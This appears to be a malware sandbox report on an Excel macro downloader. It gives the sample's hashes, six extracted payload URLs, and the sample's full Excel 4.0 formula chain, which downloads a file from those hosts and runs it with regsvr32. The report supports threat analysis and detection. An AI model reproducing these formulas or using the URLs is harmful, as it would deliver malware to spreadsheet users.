General
-
Target
0d3b3258e9e8a7c300af2dce545fae4eec7fa0014bf4deeb5dd5471c33c7f0fc
-
Size
44KB
-
MD5
2d4c5de714251095aeabce3cee2f1370
-
SHA1
d05ee1d69f2d2a8048c13c9424a77027928cb237
-
SHA256
0d3b3258e9e8a7c300af2dce545fae4eec7fa0014bf4deeb5dd5471c33c7f0fc
-
SHA512
67eefde4e103676238891c52ae4f905fef3dc1c6c7ccec787c1eb8ffd0baf1ec5f8b3eb72466f60d80ff7aba903beddb42f13ea0acef92835123958ede489656
-
SSDEEP
768:fCztz+19hMfdc/buIgsqlkVw2WFc8SGnCu2JBgBkXrI34gFPlBEQhM2vp:aztzUMsb6yVwpFB1CuEge7tgFPRhMyp
Malware Config
Extracted
http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/
http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/
http://www.floresguitarinstruction.com/wp-admin/jWlCX/
http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/
http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/
https://chera.co.kr/wp-includes/i2nnUkDXZ/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.floresguitarinstruction.com/wp-admin/jWlCX/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chera.co.kr/wp-includes/i2nnUkDXZ/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()
Signatures
Files
-
0d3b3258e9e8a7c300af2dce545fae4eec7fa0014bf4deeb5dd5471c33c7f0fc